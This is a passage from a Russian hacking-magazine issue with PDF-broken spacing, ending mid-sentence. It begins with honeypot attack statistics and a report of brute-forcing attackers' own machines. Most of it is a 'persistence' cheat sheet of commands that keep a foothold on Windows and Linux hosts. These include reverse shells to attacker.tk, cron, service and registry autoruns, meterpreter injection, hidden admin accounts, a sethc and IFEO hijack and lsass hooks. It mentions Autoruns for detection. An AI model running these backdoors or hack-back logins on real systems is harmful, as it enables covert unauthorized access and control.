Всег  о в ата ках замече ны 33 306 уни каль ных паролей.

Пара слов о самих атакующих

Ко нечн  о,  мы  не  могл  и  не  посм  отреть,  кто  имен но  нас  атак  овал.  С  одног  о
из ханипо тов были сня ты все записанн  ые адре са, а инс тру мент с GitHub пос‐ 
тро ил крас  ивую кар ту.

Так же  мы  посч  итали  ста тис тику,  с  каких  адрес  ов  было  больш  е  все го  атак.
Топ‐5 самых нас той чивых ботов сей час перед тобой:

8354 211.114.134.118 
11096 121.169.34.14 
15474 20.184.15.72 
24492 202.103.176.67 
42512 222.186.10.114 

Ад реса геро ев спец  иальн  о не замазыв  аю, чтоб  ы ты внес их в черн  ый спи сок
на сво ем фай рво ле.

8162  уник  альн  ых  адрес  а  сдел  али  не  меньш  е  десяти  попыток  логина  каж‐ 
дый,  всег  о  1564  сде лали  не  мень ше  сот ни  попыток,  а  больш  е  500  раз  поп‐ 
робовал  и  войт  и  всег  о  97  раз ных  ботов!  Тем  не  менее  окол  о  полови ны  всех
попыток сдел  али боты, набр  авшие от ста попыток, то есть львин  ую долю всех
атак делаю  т боты, которые подол гу на одной цели не задер жива ются и ухо дят
пос ле  макс  имум  пары  десят ков  попыток.  Но  из‐за  уник  умов,  которые
без уста ли ломят ся на один и тот же сер вер, сред нее числ  о попыток на ата‐ 
кующег  о сос тавило 51,7.

Ито го  мы  замети ли  мног  о  станд  арт  ных  паролей  к  разн  ой  тех нике,  модифи‐ 
каций  логинов,  да  и  откров  енн  о  прост  ых  паролей  тоже.  Похоже,  ботовод  ы
почт  и  уве рены:  если  про являть  наст  ойч  ивость,  сер вер  когд  а‐нибудь  да  сог‐ 
ласит ся,  что  его  пароль  —  root.  Попыток  экс плуа  тац  ии  уяз вимос тей  было
нем ного  —  неск  оль ко  десят ков.  Увы,  в  силу  несовер шенс тва  ханипот  ов  мы
не смог ли узнать, какие имен но уязв  имост  и пытались эксп  лу ати ровать.

WWW

В  ходе  написан  ия  этой  статьи  мы  натк  нул  ись
на ана логич ное  иссле дован  ие.  Часть  дан ных  там
отли чает ся,  но  общий  тренд  все  рав но  заметен.
А  еще  авто ры  пос читали  стат  ис тичес кие  законо‐ 
мер ности  меж ду  дня ми  недели  и  количес твом
атак.

TELNET
Главн  ый логин, к котором  у мно гие боты пытались подоб рать пароль, конечн  о,
root, замечен ный 53 084 раза. Сле дом идет admin, попавш  ийс  я 22 021 раз,
и  sh,  исполь зован ный  16  790  раз.  Чет вертое  и  пятое  мес то  заняли  lin‐
uxshell  и  enable,  набр  авшие  16  790  и  16  677  детек тов  соот ветс твен но.
В  десят ку  самых  популяр ных  вошл  и  так же  system  (6‐е  мест  о,  10  509  обна‐ 
ружен  ий), shell (9316) и guest (5037). На 11‐м мес те расп  оложил ся support
(3780), который я ожид  ал уви деть в этом списк  е нес коль ко выше.

В списк  е логинов попадал  ись интер  ес ные экзем пляр  ы:

 
 14 \x17\x12\x1b\x1f\x18\x1f\x05\x02\x04 
 20 \x05\x03 
 20 \x27::! 
 20 \x2c>.8?K 
 32 cuadmin 
 32 ncorrect 
 33 db2fenc1 
 44 \x16\x03 
 44 diag 
 48 */&\x22%K 
 68 &;;\x20 
 69 cisco 
 71 \x04 
 84 9$$?K 
101 jnior 
130 Alphanetworks 
176 dnsekakf2$$ 
215 TMAR#DLKT20060205
 

Ос тает ся  тольк  о  гадать,  кто  мог  бы  пос тавить  подобн  ые  логины.  Но  поиск
посл  еднег  о  логина  выдал  ин терес ный  сайт.  Похоже,  логин  TMAR#DLK‐
T20060205  при надл  ежит  роутер  у  D‐Link  500B,  который,  видимо,  и  ата кует
обна руженн  ый бот. Всег  о мы уви дели 297 уни каль ных логинов.

Что  касае  тся  рас пред  еле ния  количес тва  атак  по  IP‐адре сам,  то
из 186 454 атак на Telnet 14 128 (7,6%) сдел  ал один и тот же IP. Было зафик‐ 
сирова но 8006 уник  аль ных атак  ующих, то есть в средн  ем было 23,2 попыт ки
логина с каж дого IP.

Пар  оли попада лись не менее уни кальн  ые, чем логины. Смот ри:

 
   1 `\x22=\x1a\x3c8g!>‐/! 
   1 rasberrypie 
   
3 4\xc6\x1eU\xae\x9a\xf4\xa3Y_m&:\xe7\x0fr\xd7x\x80\xf5\x01\xbc;\xce\x04 
   8 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
  11 wapnd15_dlob_dap1522b 
  12 5:\x20\x278% 
  12 7ujMko0root 
  12 8>;;$9?K 
  12 Uq‐4GIt3M 
  14 0p3nm35h 
  14 D13HH[ 
  14 P@55w0rd! 
 131 hacktheworld1337 
 170 Win1doW$ 
1406 t0talc0ntr0l4! 
2421 S2fGqNFs 
2521 OxhlwSG8
 

При ятно видеть, как какой‐то бот стал орать от безыс ходнос ти. Не ста нем ему
мешать.

Всег  о было 699 уни каль ных паролей. Вот топ‐10 — выбирай на свой вкус
(точн  ее, не делай это го ни в коем случ  ае).

 
 4066 12345 
 4231 default 
 4825 start‐shell 
 4829 development 
 5158 admin 
 5448 /bin/busybox\x20KURC 
 9190 /bin/busybox\x20LMAO 
 9650 runshellcmd 
15505 linuxshell 
16801 shell
 

Тут  мы  видим  упо минан  ие  busybox,  так  что,  воз можно,  какие‐то  боты
пытались  сра зу  слать  команд  ы  вмес то  ввод  а  логина  и  пароля.  То  есть  охот‐ 
ники  на  незакр  ытые  коробк  и  даже  не  удо сужив  ают ся  про верить,  зап рошена
ли авто риза ция.

Вы вод  в  слу чае  с  Telnet  прост:  каким  бы  надеж ным  ни  казал ся  заводс  кой
пароль, луч ше его сме нить. Серь езно.

FTP

Лог FTP ханипо та

Мож но  понять,  что  на  FTP  про водят  в  основном  целевые  атак  и,  а  масс  овое
ска ниро вание  ищет  толь ко  сер веры  с  дефолт  ным  и  учет ными  дан ными,  ну
или  пол ностью  отсутс твую  щей  автор  иза цией.  Ничего  при меча тель ного  мы
здесь  не  наш ли:  нем ного  попыток  вход  а  без  пароля,  нем ного  ано ним ных;
никаких  попыток  про дол жительн  ого  брут форса  или  эксп  лои  тов  в  логах  тоже
нет.

Выв  од:  FTP  находит ся  под  меньш  ей  угро зой,  чем  тот  же  Telnet  или  даже
SSH. Впро чем, это не повод забить на его защиту.

ИДЕМ В КОНТРАТАКУ
Вы делив  все  уник  аль ные  IP‐адре са  ата кующих  и  созд  ав  сло варь  из  логинов
и  паролей  самих  ботов,  мы  во  имя  уто ления  все лен ско го  любопытст  ва  поп‐ 
робовал  и прим  енить брут форс к самим атак  ующим их же сло варем.

WWW

Ис польз  овалась  свящ  ен ная  THC‐Hydra,  B0n3t‐
Brute, BruteDum и cbrutekrag.

Что  уди витель но,  на  ответную  атак  у  под далось  не  так  уж  мног  о  устройс  тв.
Возм  ожно,  это  связ  ано  с  тем,  что  атак  овал  и  мы  тольк  о  тех,  кто  попал ся
на  ханипот,  а  адре са  из  логов  sshd,  которых  было  куда  боль ше,  мы  не  про‐ 
верял  и.  В  любом  случ  ае,  это  было  сде лано  исключ  итель но  для  пров  ер ки
гипоте зы, что атак  ующие были зараже ны в авто мати ческ  ом режиме.

Обн  аружил  ись нес кольк  о IP‐камер, пароч ка роутер  ов и проч  ей умной тех‐ 
ники. Вруч ную все находк  и мы не про верял  и из‐за нех ватки вре мени.

Наш  ел ся  хост  с  pfSense;  как  глас  ит  глав ная  стра ница  этой  соф тины,
это «опенс  орс  ный файр  волл, которо му доверя ет весь мир». Что ж, админ  ов,
которые ста вят пароль admin, это не спа сает.

pfSense

Сле дующий серв  ер ока зал ся VPN‐шлю зом.

Сра зу  по  наз ванию  проц  ес са  понят но,  для  чего  нужен  этот  бот:  майн  инг
Monero.

Про цесс  ы на хост  е

На  конт  рат  аку  по  SSH  под далось  197  адре сов  из  1779  (11%).  С  одной  сто‐ 
роны, нем ного. С друг  ой — кажд  ый десятый атак  ующий ока зал ся с нас тольк  о
слаб  ой защитой, что взлом  ать его не сост  авило никаких проб лем, и это чис ло
мог ло быть выше, если бы мы использ  овали боль ший слов  арь.

Зна чительн  ая часть атак  ующих отно сит ся к Internet of Things, скор  ее всег  о
зараженн  ых при помощи перебор  а пароля. Как Дмит рий Беляв ский однажды
иро нич но отмет  ил, «бук ва S в аббрев  иатур  е IoT обоз начае  т Security».

ВЫВОДЫ
Мы расс  мот рели всег  о неск  оль ко про токо лов, которые могл  и заинт  ересов  ать
хакеров,  и,  конечн  о,  наше  иссле дова ние  не  может  счи татьс  я  особ  енн  о  пол‐ 
ным.  За  борт  ом,  к  прим  еру,  остал  ись  машины  на  Windows,  которых  тоже
немало.

Печ  аль но,  что  советы,  извес тные  еще  с  двух тысяч ных  годов,  актуа  ль ны
и  по  сей  день:  закр  ывать  пор ты,  перено сить  крит  ичес кие  серв  исы  на  нес‐ 
тандар тные  порт  ы,  ста вить  сложн  ые  небр  утабельн  ые  пароли  или  же  вов се
отклю чать авто ризац  ию по паролю.

Как  видишь,  всег  о  за  пару  месяцев  количес тво  атак  заш калило.  Если  ты
оста вишь небезо пасн  ый пароль надол го, то его в какой‐то момент подб  ерут.
Конечн  о, во мно гих умных гад жетах пароль зашит раз работ чиком, но в таком
случ  ае порт устрой ства не дол жен све титьс  я наружу.

Такж  е  небесп  олезн  о  иметь  свой  ханипот,  что бы  видеть  угро зы  и  даже
авто матич  еск  и отво дить часть из них.

ВЗЛОМ

ШПАРГАЛКА ПО
PERSISTENCE

КАК НАДЕЖНО ПРОПИСАТЬСЯ
НА ХОСТЕ ИЛИ ВЫЯВИТЬ
ФАКТ КОМПРОМЕТАЦИИ

Когд  а  получен  шелл  на  хост  е,  перв  ое,  что s0i37
необх  одимо  сде лать,  —  это  обес печить Ведущий аналитик УЦСБ.
себе «пос тоянс тво» (persistence) в сис теме.
Ведь во мно гих слу чаях на RCE может быть [email protected]
лишь  одна  попытк  а,  а  знач  ит,  недопуст  имо
потерять  дост  уп  из‐за  каких‐нибудь  досад‐ 
ных обстоя  тель ств.

Есть  разн  ые  спо собы  орга низо вать  возм  ожность  пос тоян ного  прис  утст  вия,
у кажд  ого свои дос тоинс тва и недост  атки:
• за писать что‐либо на HDD:

• плюс: пережи вет перезагр  узку;
• мин  усы: замет но для человек  а, замет но для анти виру са;
• внед рить код в RAM:
• плюс: незамет но для человек  а;
• ми нусы: не пережив  ет перезагр  узку, может быть замет но для антив  иру‐ 

са;
• из менить кон фигурац  ию ОС:

• плю сы: незамет но для антив  иру са, пережив  ет перезагр  узку;
• ми нус: может быть замет но для челове ка.

Ча ще все го при зак реплен  ии в сис теме все же при ходит ся обра щатьс  я к дис‐ 
ку, пос кольк  у это единст  венн  ый спос  об не вылететь из‐за случ  ай ной перезаг‐ 
рузки.  В  общем  слу чае  успешность  такой  перс  истент  нос ти  зависит  от  двух
факт  оров:
• наск  оль ко скрыт но от поль зовате ля проп  исан запуск бэкд  ора;
• нас коль ко безобид но для анти виру са тело бэкд  ора.

Оче вид но, что с точ ки зре ния закр  епле ния Linux — более при ори тет ная сис‐ 
тема. Компь юте ры с ним, как прав  ило, редк  о обслуж  иваю  тся польз  овател  ями
и не перезагр  ужа ются месяца ми. Да и как точк  а опор  ы они под ходят больш  е.
Хост  ы под управлен  ием Linux удоб ны еще и потому, что они редк  о защищен  ы
антив  иру сом, а антив  ирус для пер систен тнос ти — это ощут  имая проб лема.

В  свою  оче редь,  в  Windows  больш  е  вари антов  авто заг рузки,  что  может
помочь  лучш  е  замас кировать ся  в  ее  нед рах.  Ведь,  в  отлич  ие  от  про ник‐ 
новения в Linux, нам поч ти всег да при дет ся работать рядом с польз  овате лем,
опыт ным или не очень.

Ког да име ешь дело не с одной целью, а с целой груп пой, весь ма удобн  о
исполь зовать для машины ата кующег  о доменн  ое имя, а не IP. Тогд  а для каж‐ 
дой  жер твы  или  групп  ы  жертв  можн  о  будет  задать  свое  уни каль ное  имя
в  DNS‐зоне  атак  ующе го  (далее  в  при мерах  —  attacker.tk).  Это  поз воля ет
эффективн  ее управлять жерт  ва ми. Выг лядит это прим  ер но так.

Есл  и анти вирус  ы не глав ная пробл  ема, то в качес тве reverse shell част  о можн  о
исполь зовать  прост  ые  nc.exe,  ncat.exe  и  socat.exe.  Все  они  облад  ают  воз‐ 
можнос тями  RAT  и  зачаст  ую  норм  аль но  прох  одят  антив  ирус.  Поск  ольк  у
это прог раммы, работаю  щие из команд  ной стро ки, можн  о сдел  ать их запуск
на  машине  жерт  вы  незамет ным.  В  Windows  для  этог  о  дост  аточн  о  поменять
subsystem у исполняе  мог  о фай ла:

pe header → optional header nt fields → subsystem → GUI (0x0002)

Опис  анн  ые  далее  при меры  помогут  не  толь ко  при  закр  еплен  ии  на  машине
жер твы, но и для выявл  ения фак тов комп  ром  ета ции.

Анал  из  элем  ен тов  авто заг рузки  —  это  час то  поиск  иголк  и  в  стог  е  сена.
Обычн  о  при ходит ся  судить  по  назв  анию  исполняе  мог  о  фай ла,  тому,  где  он
находит ся (в пра вильн  ых мес тах или где‐то в про филе поль зовател  я), а так же
по  назв  анию  и  опис  анию  комп  ании‐разр  абот чика,  зашитым  внут ри  файл  а.
Впро чем, ничт  о не меша ет атак  ующем  у подд  елать эти дан ные.

Ант  ивирус  ы  же,  как  пра вило,  не  уда ляют  записи  в  списк  ах  автоз  агр  узки,
а уда ляют сами исполня емые файл  ы. Поэто му битая ссылк  а в авто заг рузке —
тре вожн  ый сигн  ал.

Во мно гих слу чаях для перс  истен тнос ти могут пот ребовать ся пра ва адми‐ 
нис тра тора.  Это  тоже  может  стать  проб лемой,  ведь  далеко  не  кажд  ый  шелл
облад  ает  нужн  ыми  прив  иле гиями.  Поэтом  у  в  каж дом  прим  ере  я  буду
помечать сим волом $ ввод неп ривиле гиро ванн  ого поль зовател  я, а # — адми‐ 
нист  рат  ора.  Для  обна ружен  ия  будем  исполь зовать  ути литу  Autoruns,  резуль‐ 
таты ты можешь набл  юдать на скрин шотах.

ШЕЛЛ
Ор ганизо вать  перс  истент  ность  мож но  прям  о  из  команд  ной  строк  и.  Что бы
шелл  откры вал ся  всег да,  использ  уем  команд  у  с  бес конечн  ым  цикл  ом,  ухо‐ 
дящую в фон.

Windows
Вот как это работае  т в Windows:

cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe attacker.tk 
8888 ‐e cmd.exe & ping ‐n 60 127.0.0.1 )"

Linux

bash$> ( bash ‐c "while :; do bash ‐i >& /dev/tcp/attacker.tk/8888 0>
&1; sleep 60; done"; )& 
bash$> nohup bash ‐c "while :; do bash ‐i >& /dev/tcp/attacker.tk/
8888 0>&1; sleep 60; done" & 

• Плюс  ы: управля емый интервал запуск  а, подойд  ет любой поль зователь.
• Мин  ус: не пережи вет перезагр  узку.

АВТОЗАГРУЗКА
Го воря о перс  истент  нос ти, нельз  я пройт  и мимо класс  ичес кой и всем извес‐ 
тной авто загр  узки. Ее пре имущ  ест  во в том, что она будет работать с пра вами
любого, даже неад минис тра тив ного поль зовател  я.

Windows

cmd$> copy meter.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\P
rograms\Startup\
cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /
v persistence /t REG_SZ /d "C:\users\username\meter.exe"
cmd#> copy meter.exe C:\ProgramData\Microsoft\Windows\Start Menu\P
rograms\Startup\
cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /
v persistence /t REG_SZ /d "C:\Windows\system32\meter.exe"

Linux

bash$> echo "nc attacker.tk 8888 ‐e /bin/bash 2>/dev/null &" >> 
~/.bashrc 

• Плюс  ы: пережив  ает перезаг рузку, подой дет любой поль зователь.
• Мин  ус: неуп равляе  мый интервал запуск  а.

СЕРВИСЫ
Ис польз  овать служ бу для закр  еплен  ия более выгод но, чем авто заг рузку, так
как Service Manager будет сам переза пуск  ать служб  у, если пот ребуе  тся.

Для Windows созд  ание служб  ы пот ребуе  т пра ва адми нист  ра тора.

cmd#> sc create persistence binPath= "nc.exe ‐e \windows\system32\c
md.exe attacker.tk 8888" start= auto 
cmd#> sc failure persistence reset= 0 actions= 
restart/60000/restart/60000/restart/60000 
cmd#> sc start persistence 

В  Linux  созд  ать  служ бу  можн  о  и  с  учет ки  прост  ого  польз  овате ля.  Вот  вари‐ 
анты для рута и для прост  ого поль зовател  я.

bash#> vim /etc/systemd/system/persistence.service 
bash$> vim ~/.config/systemd/user/persistence.service 

Со держ  имое файл  а:

[Unit]
Description=persistence

[Service]
ExecStart=/bin/bash ‐c 'bash ‐i >& /dev/tcp/attacker.tk/8888 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=default.target

И запуск  аем соз данную служб  у:

bash#> systemctl enable persistence.service 
bash#> systemctl start persistence.service 
bash$> systemctl ‐‐user enable persistence.service 
bash$> systemctl ‐‐user start persistence.service 

• Плю сы:  пережи вает  перезагр  узку,  управляе  мый  интервал  запуск  а,  под‐ 
ходит любой польз  ователь.

• Мин  ус: необх  одимы прав  а админ  ис тра тора.

ЗАДАЧИ
Созд  ание запл  аниро ван ной задачи — весьм  а удобн  ый спос  об подд  ержан  ия
дос тупа. Заод но можн  о задать врем  я и интервал запус ка. Но делать это раз‐ 
решено, как прав  ило, толь ко прив  иле гиров  ан ным польз  овател  ям.

Windows

cmd#> at 13:37 \temp\nc.exe ‐e \windows\system32\cmd.exe attacker.tk 
8888 
cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /
tr "c:\temp\nc.exe ‐e c:\windows\system32\cmd.exe attacker.tk 8888"

Linux

bash#> echo "* * * * * bash ‐i >& /dev/tcp/attacker.tk/8888 0>&1" >> 
/var/spool/cron/root 
bash#> echo $'SHELL=/bin/bash\n* * * * * root bash ‐i >& /dev/tcp/
attacker.tk/8888 0>&1\n'> /etc/cron.d/pwn 

• Плюс  ы: пережи вает перезагр  узку, управля емый интервал запуск  а.
• Мин  ус: нужн  ы прав  а админ  ист  ра тора/root.

IN-MEMORY
Внедр  ение  бэкд  ора,  который  будет  висеть  в  опер  атив ный  памяти,  имее  т
смысл, если нуж но зак репить ся на целевой машине, не оставляя никаких сле‐ 
дов.  Антив  иру сы  обычн  о  сла бо  конт  рол  ирую  т  деятельн  ость  в  памяти,  пос‐ 
кольк  у это сопр  яжено с боль шим допол нитель ным рас ходом ресур сов. Даже
опыт ный  поль зователь  вряд  ли  заметит  что‐то,  что  скры то  внут ри  легаль ного
про цесс  а.

В  качес тве  in‐memory‐бэкд  ора  мы  будем  исполь зовать  meterpreter.  Это,
пожалуй, самый извес тный RAT, спо собн  ый работать исключ  итель но в памяти,
не тро гая при этом диск.

Windows

msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 
‐f raw ‐o meter32.bin exitfunc=thread StagerRetryCount=999999 
cmd$> inject_windows.exe PID meter32.bin 

Linux

msfvenom ‐p linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=
8888 ‐f raw ‐o meter32.bin exitfunc=thread StagerRetryCount=999999 
bash$> inject_linux PID meter32.bin 

Внедр  ить  код  мы  можем  не  тольк  о  в  натив ные  про цесс  ы,  но  и  в  интерп  ре‐ 
тируе  мые, напр  имер интер пре тато ром Python:

msfvenom ‐p python/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 
‐o meter.py exitfunc=thread StagerRetryCount=999999 
$> pyrasite 12345 meter.py 

За  мак симальн  ую  скрыт ность  плат  им  потерей  перс  истен тнос ти  посл  е
перезаг рузки.
• Плю сы: подой дет любой поль зователь, трудн  о обна ружить челове ку.
• Мин  усы: не пережи вает перезагр  узку.

Поск  ольк  у вре доносн  ый поток запус кает ся вне какой‐либо биб лиотек  и, Proc‐
exp част  о показыв  ает такой поток как запущен ный от нулевог  о адре са.

КОНФИГИ
Орг  анизац  ия  перс  истен тност  и  через  измен  ение  кон фигурац  ии  ОС  —
отличный спо соб спрят  атьс  я от анти виру са. Это единс твенн  ый слу чай, когд  а
мы  не  исполь зуем  вооб ще  никакой  исполняе  мый  код.  Но  при меним  о  это,
толь ко если у нас есть прям  ой дост  уп к целевой машине.

Соз дание  скры того  поль зовате ля,  от  име ни  которог  о  можн  о  будет  потом
получить удал  ен ный дост  уп, — это, пожалуй, самый извес тный вариа  нт такой
ата ки.

Windows

cmd#> net user attacker p@ssw0rd /add 
cmd#> net localgroup administrators /add attacker 
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\W
inlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f 

Linux

bash#> openssl passwd ‐1 ‐salt test
bash#> echo 'post:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/:/bin/bash' >> 
/etc/passwd 

Прос тое и эффективн  ое внед рение зак ладки в Windows через RDP:

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\I
mage File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\w
indows\system32\cmd.exe"
cmd#> reg add "HKLM\system\currentcontrolset\control\Terminal Server\
WinStations\RDP‐Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f 

• Плю сы: трудн  о обнар  ужить антив  иру сом, пережи вает перезагр  узку.
• Мин  усы: треб  ует прав  а адми нис тра тора/root, не подх  одит, если машина

за NAT или файр  во лом.

ОСОБЫЕ ПРИЕМЫ В LINUX
Вот  мы  и  доб рались  до  трю ков,  которые  сра ботаю  т  толь ко  в  опред  еленн  ой
ОС. Нач нем с Linux.

LD_PRELOAD
В  Linux  для  того,  что бы  в  каж дый  запуск  аемый  про цесс  подг  руж  ал ся  нуж ный
нам код, мож но использ  овать переменн  ую LD_PRELOAD:

bash#> echo /path/to/meter.so >> /etc/ld.so.preload 
bash#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile 
bash$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc 

• Плю сы: пережи вает перезагр  узку, подой дет любой польз  ователь.
• Мин  ус: неуп равля емый интервал запус ка.

INFO

Под робнее  об  этом  методе  читай  в  статье  «Опе‐ 
рация «Предз  агрузк  а». Соз даем userland‐рут киты
в Linux с помощью LD_PRELOAD».

rc.local
Один раз посл  е перезагр  узки мы можем выполн  ить команд  ы в rc.local.

bash#> echo "nc attacker.tk 8888 ‐e /bin/bash &" >> /etc/rc.local 

• Плюс: пережи вает перезагр  узку.
• Мин  усы: неупр  авля емый интервал запус ка, нужн  ы прав  а root.

ОСОБЫЕ ПРИЕМЫ В WINDOWS
Здесь у нас будет боль ше интер  ес ных трю ков!

Дебаггер
Ес ли атак  ующий знае  т, что атак  уемый поль зователь час то запус кает какую‐то
прог рамму,  скаж  ем  каль кулятор,  то  он  может  внед рить  свой  код  в  тело  этой
прог раммы с помощью джой нера. Однак  о вся кое вмеш  атель ство в исполня‐ 
емые фай лы неумо лимо повыша ет уров  ень недовер  ия к ним со стор  оны анти‐ 
виру са. Куда более изящн  ым исполнен  ием будет перехв  ат запус ка:

cmd#> copy calc.exe _calc.exe 
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\I
mage File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /
C _calc.exe & c:\windows\nc.exe ‐e c:\windows\system32\cmd.exe 
attacker.tk 8888" /f 

Как  тольк  о  victim  запуст  ит,  а  затем  зак роет  каль кулятор,  атак  ующий  прим  ет
reverse shell.
• Плюс: пережи вает перезаг рузку.
• Мин  ус: тре бует прав  а адми нис трат  ора.

Gflags
Почт  и таким же обра зом можн  о орга низо вать запуск свое  го кода, ког да поль‐ 
зователь зак рывае  т опре деленн  ую прог рамму.

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\I
mage File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD 
/d 512 
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\S
ilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\S
ilentProcessExit\notepad.exe" /v MonitorProcess /d "nc ‐e \windows\s
ystem32\cmd.exe attacker.tk 8888"

• Плюс: пережи вает перезаг рузку.
• Мин  ус: тре бует пра ва админ  ист  ра тора.

Autoruns этот спо соб не обна ружив  ает, но ты можешь про верить вет ку реес‐ 
тра:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit 

WMI
Дос таточ но надеж ный спо соб автоз  апуск  а — через события WMI. Мы можем
запус кать бэкд  ор через равн  ые интерва лы вре мени.

cmd#> wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter 
CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage=
"WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
cmd#> wmic /NAMESPACE:"\\root\subscription" PATH 
CommandLineEventConsumer CREATE Name="persistence", ExecutablePath=
"C:\users\admin\meter.exe",CommandLineTemplate="C:\users\admin\meter.
exe"
cmd#> wmic /NAMESPACE:"\\root\subscription" PATH __
FilterToConsumerBinding CREATE Filter="__EventFilter.Name="
persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

• Плюс  ы: пережив  ает перезагр  узку, управля емый интервал запус ка.
• Мин  ус: треб  ует пра ва адми нис тра тора.

AppInit
В  Windows  есть  интер  ес ный  спо соб  внед рения  биб лиотек  в  оконн  ые  при‐ 
ложе ния с помощью AppInit (они дол жны исполь зовать user32.dll).

cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\W
indows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f 
cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\W
indows" /v AppInit_DLLs /t reg_sz /d "c:\path\to\meter64.dll" /f 

cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\C
urrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f 
cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\C
urrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "c:\path\to\m
eter32.dll" /f 

• Плюс: пережив  ает перезагр  узку.
• Мин  усы:  треб  ует  прав  а  адми нист  ра тора,  неупр  авля емый  интервал

запуск  а.

Lsass
Еще одна возм  ожность — проп  исать библ  иоте ку в сис темном проц  ес се lsass.
Это  дост  аточ но  выгод ное  мес то,  пос кольк  у  в  данн  ом  про цес се  хра нят ся  те
самые учет ные записи, которые мы извлек  аем утил  итой mimikatz.

cmd#> reg add "HKLM\system\currentcontrolset\control\lsa" /v 
"Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f 

• Плюс: пережи вает перезагр  узку.
• Мин  усы:  тре буют ся  прав  а  адми нис трат  ора,  неуп равляе  мый  интервал

запуск  а, мож но убить сист  ему.

Winlogon
Что бы кажд  ый раз, как кто‐то из польз  овател  ей вход  ит в сис тему, открыв  ал ся
шелл, можн  о использ  овать механизм Winlogon.

cmd#> reg add "HKLM\software\microsoft\windows nt\currentversion\w
inlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe,
c:\windows\meter.exe"

• Плюс: пережи вает перезагр  узку.
• Мин  ус: неупр  авля емый интервал запус ка.

Netsh
Ути лита наст  ройк  и сети Netsh тоже позв  оля ет под груж  ать про изволь ную биб‐ 
лиоте ку.  Это  откры вает  воз можность  орга низо вать  через  нее  импров  изи‐ 
рованн  ую  авто загр  узку.  Резуль тат  будет  выгл  ядеть  безобидн  о,  так  как  пер‐ 
воначаль но вызывае  тся сис темный ком понент Windows.

cmd#> c:\windows\syswow64\netsh.exe 
netsh> add helper c:\windows\meter32.dll 
cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /
v persistence /t REG_SZ /d "C:\Windows\SysWOW64\netsh.exe"

В  ито ге  получае  м  такую  цепоч ку:  autorun  →  netsh.exe  →  meter.dll.  При  этом
meter.dll будет скрыт от глаз польз  овател  я — тот уви дит лишь запуск легитим‐ 
ной Netsh, родн  ого комп  онен та Windows.
• Плю сы: пережив  ает перезагр  узку, сложн  о обнар  ужить польз  овате лю.
• Мин  ус: тре бует пра ва адми нис тра тора.

Office
Этот спо соб подой дет, если атак  уемый поль зователь час то работа ет с офис‐ 
ным пакетом. Не такая уж редк  ость!

cmd$> reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t 
REG_SZ /d C:\users\username\meter.dll 

• Плю сы: пережив  ает перезагр  узку, подой дет любой поль зователь.
• Мин  ус: неупр  авля емый интервал запус ка.

ВЫВОДЫ
Мы  рас смот рели  основные  и  наибол  ее  популяр ные  вариа  нты,  которые  поз‐ 
воля ют про писатьс  я в сист  еме — скрыт но или не очень. Они по боль шей час‐ 
ти не зависят от верс  ии и кон фигурац  ии ОС и легк  о реализ  уемы. Унив  ер саль‐ 
ного спо соба нет (ина че обнар  уже ние было бы слиш ком прост  ым!), и у каж‐ 
дого  есть  дост  оинс тва  и  недос татки.  При  выборе  наша  цель  —  сбал  ан‐ 
сировать надежн  ость и скрыт ность.

Этим  спис ком  выбор,  конечн  о  же,  не  огра ничив  ает ся,  и  все  в  конечн  ом
счет  е  зависит  тольк  о  от  тво ей  фан тазии  и  изобр  етатель нос ти.  В  Windows
